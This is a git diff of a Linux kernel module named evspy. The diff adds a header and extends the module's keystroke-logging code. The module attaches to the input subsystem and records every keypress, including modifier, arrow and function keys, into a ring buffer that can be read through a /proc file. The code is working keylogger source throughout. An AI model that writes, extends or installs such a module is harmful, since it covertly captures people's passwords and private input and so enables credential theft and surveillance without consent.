diff options
| -rw-r--r-- | evspy/evspy.c | 130 | ||||
| -rw-r--r-- | evspy/evspy.h | 75 | 
2 files changed, 165 insertions, 40 deletions
| diff --git a/evspy/evspy.c b/evspy/evspy.c index 0ef2456..819a914 100644 --- a/evspy/evspy.c +++ b/evspy/evspy.c @@ -23,7 +23,6 @@   * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic   */ -#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt  #include <linux/slab.h>  #include <linux/module.h>  #include <linux/input.h> @@ -36,46 +35,14 @@  #include <linux/string.h>  #include <linux/cred.h>  #include <linux/sched.h> +#include "evspy.h" -#define PROCNAME	"driver/evspy" -#define BUFSIZE		PAGE_SIZE -#define MIN(x, y)	(x) < (y) ? (x) : (y) - -#define incp(p)		\ -({		\ -	if (p == &buffer[BUFSIZE-1])		\ -		p = buffer;		\ -	else		\ -		p++;		\ - 	p;		\ -})  static char *buffer;  static char *rdp;  static char *wrp; - -static char map_es[] = { -	'.', '.', '1', '2', '3',	//0		// 1:ESC -	'4', '5', '6', '7', '8',	//5 -	'9', '0', '\'', '!', '\b',	//10	// 13:¡ (NOASCII) -	'\t', 'q', 'w', 'e', 'r',	//15 -	't', 'y', 'u', 'i', 'o',	//20 -	'p', '`', '+', '\n', '.',	//25	// 29:LCTRL -	'a', 's', 'd', 'f', 'g',	//30 -	'h', 'j', 'k', 'l', 'n',	//35	// 39:ñ (NOASCII) -	'\'', '.', '.', 'c', 'z',	//40	// 42:LMAYUS 43:ç (NOASCII) -	'x', 'c', 'v', 'b', 'n',	//45 -	'm', ',', '.', '-', '.',	//50	// 54:RMAYUS -	'*', '.', ' ', '.', '.',	//55	// 56:WIN 58:BLKMAYUS 59-68:F1-F10 -	'.', '.', '.', '.', '.',	//60 -	'.', '.', '.', '.', '.',	//65 -	'.', '7', '8', '9', '-',	//70 -	'4', '5', '6', '+', '1',	//75 -	'2', '3', '.', '.', '.',	//80 -	'.', '<', '.', '.', '.',	//85 -	'.', '.', '.', '.', '.',	//90 -	'.', '\n', '.', '/', '.',	//95	// 97:RCTRL -}; +static char tag[] = "<+XXX>"; +static unsigned int blkmayus_state = FREE;  int evspy_read_proc(char *page, char **start, off_t offset, int count,  		int *eof, void *data) @@ -118,15 +85,98 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,  	return retval;  } +void special_char(unsigned int code, unsigned int value) +{ +	int known = 1; +	int i; + +	// Elimina eventos de "despulsado" para teclas no deseadas +	switch(code) { +	case RMAYUS: +	case LMAYUS: +	case ALT: +	case LCTRL: +	case RCTRL: +	case ALTGR: +		break; +	default: +		if (value == FREE) +			return; +	} + +	switch(code) { +	case RMAYUS: +	case LMAYUS: +		strncpy(tag+2, "MAY", 3); +		break; +	case ALT: +		strncpy(tag+2, "ALT", 3); +		break; +	case ALTGR: +		strncpy(tag+2, "AGR", 3); +		break; +	case LCTRL: +	case RCTRL: +		strncpy(tag+2, "CTR", 3); +		break; +	case TAB: +		strncpy(tag+2, "TAB", 3); +		break; +	case ESC: +		strncpy(tag+2, "ESC", 3); +		break; +	case UP_AR: +		strncpy(tag+2, "A^^", 3); +		break; +	case DOWN_AR: +		strncpy(tag+2, "Avv", 3); +		break; +	case LEFT_AR: +		strncpy(tag+2, "A<<", 3); +		break; +	case RIGHT_AR: +		strncpy(tag+2, "A>>", 3); +		break; +	default: +		known = 0; +	} + +	if (!known && isfX(code)) { +		strncpy(tag+2, "F??", 3); +	} else if (!known) { +//		strncpy(tag+2, "UNK", 3); +		return; +	} + +	if (value == PRESS) +		tag[1] = '+'; +	else if (value == FREE) +		tag[1] = '-'; + +	for (i = 0; i < sizeof(tag) - 1; i++) +		ins(tag[i]); +} +  static void evspy_event(struct input_handle *handle, unsigned int type,  		unsigned int code, int value)  { -	if (type != 1 || value != 1 || code >= 100) +	if (type == EV_BLKMAYUS) { +		// A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS +		if (value != blkmayus_state) +			special_char(LMAYUS, value); +		if (value == PRESS) +			blkmayus_state = PRESS; +		else if (value == FREE) +			blkmayus_state = FREE;  		return; +	} else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) { +		return; +	} -	*wrp = map_es[code]; -	if (incp(wrp) == rdp) -		incp(rdp); +	if (map_es[code] == '.' && likely(code != DOT)) +		special_char(code, value); +	else if (value == PRESS) +		ins(map_es[code]);  }  static int evspy_connect(struct input_handler *handler, struct input_dev *dev, diff --git a/evspy/evspy.h b/evspy/evspy.h new file mode 100644 index 0000000..f140638 --- /dev/null +++ b/evspy/evspy.h @@ -0,0 +1,75 @@ +//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt +#define PROCNAME	"driver/evspy2" +#define BUFSIZE		PAGE_SIZE +#define MIN(x, y)	(x) < (y) ? (x) : (y) + +#define incp(p)		\ +({		\ +	if (p == &buffer[BUFSIZE-1])		\ +		p = buffer;		\ +	else		\ +		p++;		\ + 	p;		\ +}) + +#define ins(c)		\ +({		\ +	*wrp = c;		\ +	if (incp(wrp) == rdp)		\ +		incp(rdp);		\ +}) + +#define isfX(c)		\ +({		\ + 	(c >= F1 && c <= F10) || (c == F11 || c == F12);		\ +}) + +#define EV_BLKMAYUS	17 + +#define	FREE		0 +#define	PRESS		1 +#define	HOLD		2 + +#define	ESC			1 +#define	TAB			15 +#define	LCTRL		29 +#define	LMAYUS		42 +#define	DOT			52 +#define	RMAYUS		54 +#define ALT			56 +#define	BLKMAYUS	58 +#define	F1			59 +#define	F10			68 +#define	F11			87 +#define	F12			88 +#define RCTRL		97 +#define ALTGR		100 +#define UP_AR		103 +#define DOWN_AR		108 +#define LEFT_AR		105 +#define RIGHT_AR	106 + +static char map_es[] = { +	'.', '.', '1', '2', '3',	//0		// 1:ESC +	'4', '5', '6', '7', '8',	//5 +	'9', '0', '\'', '!', '\b',	//10	// 13:¡ (NOASCII) +	'.', 'q', 'w', 'e', 'r',	//15	// 15:TAB +	't', 'y', 'u', 'i', 'o',	//20 +	'p', '`', '+', '\n', '.',	//25	// 29:LCTRL +	'a', 's', 'd', 'f', 'g',	//30 +	'h', 'j', 'k', 'l', 'n',	//35	// 39:ñ (NOASCII) +	'\'', '.', '.', 'c', 'z',	//40	// 42:LMAYUS 43:ç (NOASCII) +	'x', 'c', 'v', 'b', 'n',	//45 +	'm', ',', '.', '-', '.',	//50	// 52:. 54:RMAYUS +	'*', '.', ' ', '.', '.',	//55	// 56:ALT 58:BLKMAYUS 59-68:F1-F10 +	'.', '.', '.', '.', '.',	//60 +	'.', '.', '.', '.', '.',	//65 +	'.', '7', '8', '9', '-',	//70 +	'4', '5', '6', '+', '1',	//75 +	'2', '3', '.', '.', '.',	//80 +	'.', '<', '.', '.', '.',	//85 +	'.', '.', '.', '.', '.',	//90 +	'.', '\n', '.', '/', '.',	//95	// 97:RCTRL +	'.', '.', '.', '.', '.',	//100	// 100:ALTGR 103:up_arrow +	'.', '.', '.', '.', '.',	//105	// 105:lft_arrow 106:rgt_arrow 108:down_arrow +}; | 
